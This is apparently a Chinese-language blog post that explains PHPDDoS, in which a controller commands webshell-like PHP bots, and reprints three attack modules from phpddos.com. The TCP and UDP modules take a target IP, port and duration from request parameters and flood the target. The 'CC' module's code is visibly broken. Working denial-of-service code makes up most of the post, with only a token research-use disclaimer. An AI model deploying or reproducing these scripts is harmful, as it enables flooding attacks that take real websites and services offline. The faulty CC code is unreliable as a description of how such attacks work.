PHPDDOS的原理是使用一個主控端批量向被控端(也就是特殊的webshell)發送攻擊命令,方式一般是get或者post,達到統一指揮的目的。而被控端一般使用了php中的sock來進行攻擊,在php越來越流行的今天,這種攻擊必然會越來越流行。

去翻了一下,找到了些代碼,代碼來自phpddos.com,與本站無關。

TCP模組

<?php
ini_set("display_errors", "Off");
$packets = 0;
$ip = $_GET['ip'];
$port = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET['time'];
$time = time();
print "狀態 : 正常運行中.....<br>";
$max_time = $time+$exec_time;
while(1){
$packets++;
        if(time() > $max_time){
                break;
        }

        $fp = fsockopen("tcp://$ip", $port,$errno,$errstr,0);
}
echo "================================================<br>";
echo "  <font color=blue>www.phpddos.com<br>";
echo "  SYN Flood 模組<br>";
echo "  作者:ybhacker<br>";
echo "  警告:本程式帶有攻擊性,僅供安全研究與教學之用,風險自負!</font><br>";
echo "================================================<br><br>";
echo "  攻擊包總數:<font color=Red><span class=\"text\">".$packets." 個數據包</span><br><br></font>";
echo "	攻擊總流量:<font color=Red><span class=\"text\">".round(($packets*65*8)/(1024*1024),2)." Mbps</span><br><br></font>";
echo "  攻擊總位元組:<font color=Red><span class=\"text\">".time('h:i:s')." 位元組</span><br><br></font>";
echo "Packet complete at ".time('h:i:s')." with $packets (" .round(($packets*65*8)/(1024*1024),2). " Mbps) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>

CC模組

<?php
echo "狀態 : 正常運行中.....<br>";
echo "================================================<br>";
echo "  <font color=blue>www.phpddos.com<br>";
echo "  CC Flood 模組<br>";
echo "  作者:ybhacker<br>";
echo "  警告:本程式帶有攻擊性,僅供安全研究與教學之用,風險自負!</font><br>";
echo "================================================<br><br>";
error_reporting(E_ALL);  //提示錯誤資訊
set_time_limit(0);     //設定一個程式所允許執行的秒數   0 是無限迴圈
ob_implicit_flush();     // 刷新輸出緩衝
$address = $_POST['site'];  // 網站地址
$port = $_POST['port'];      // 埠
$dongu = $_POST['dongu'];   //迴圈次數
$sayi = 1;   

while ( $sayi <= $dongu )   //變數asyi小於 迴圈次數變數 dongu 才會繼續迴圈
{
	if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {
		echo "HaHa\n";
	}

	if (socket_bind($sock, $address, $port) === false) {       // 連接埠
		echo "HaHa\n";
	}

	if (socket_listen($sock, 5) === false) {
		echo "HaHa\n";
	}
		$msg = "HTTP/1.1 GET /\r\nHost:"+$_GET['site']+"\r\nConnection: Keep-Alive\r\n";
		socket_write($msg);
		socket_close($sock);
		$sayi++;   // 迴圈一次 變數sayi 加1
		echo "Goodbye...".$sayi;   // 輸出迴圈次數
}
?>

UDP模組

<?php
$packets = 0;
$ip = $_GET['ip'];
$port = $_GET['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET['time'];
$time = time();
print "狀態 : 正常運行中.....<br>";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
        $out .= "phpddos";
}
while(1){
$packets++;
        if(time() > $max_time){
                break;
        }

        $fp = fsockopen("udp://$ip", $port, $errno, $errstr, 5);
        if($fp){
                fwrite($fp, $out);
                fclose($fp);
        }
}
echo "================================================<br>";
echo "  <font color=blue>www.phpddos.com<br>";
echo "  作者:ybhacker<br>";
echo "  警告:本程式帶有攻擊性,僅供安全研究與教學之用,風險自負!</font><br>";
echo "================================================<br><br>";
echo "  攻擊包總數:<font color=Red><span class=\"text\">".$packets." 個數據包</span><br><br></font>";
echo "	攻擊總流量:<font color=Red><span class=\"text\">".round(($packets*65*8)/(1024*1024),2)." Mbps</span><br><br></font>";
echo "  攻擊總位元組:<font color=Red><span class=\"text\">".time('h:i:s')." 位元組</span><br><br></font>";
echo "Packet complete at ".time('h:i:s')." with $packets (" .round(($packets*65*8)/(1024*1024),2). " Mbps) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";
?>

 

By tony

自由軟體愛好者~喜歡不斷的思考各種問題,有新的事物都會想去學習嘗試 做實驗並熱衷研究 沒有所謂頂天的技術 只有謙虛及不斷的學習 精進專業,本站主要以分享系統及網路相關知識、資源而建立。 Github http://stnet253.github.io

One thought on “PHPDDOS攻擊原理以及核心代碼”

發佈回覆給「fkwebs」的留言 取消回覆

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *

這個網站採用 Akismet 服務減少垃圾留言。進一步了解 Akismet 如何處理網站訪客的留言資料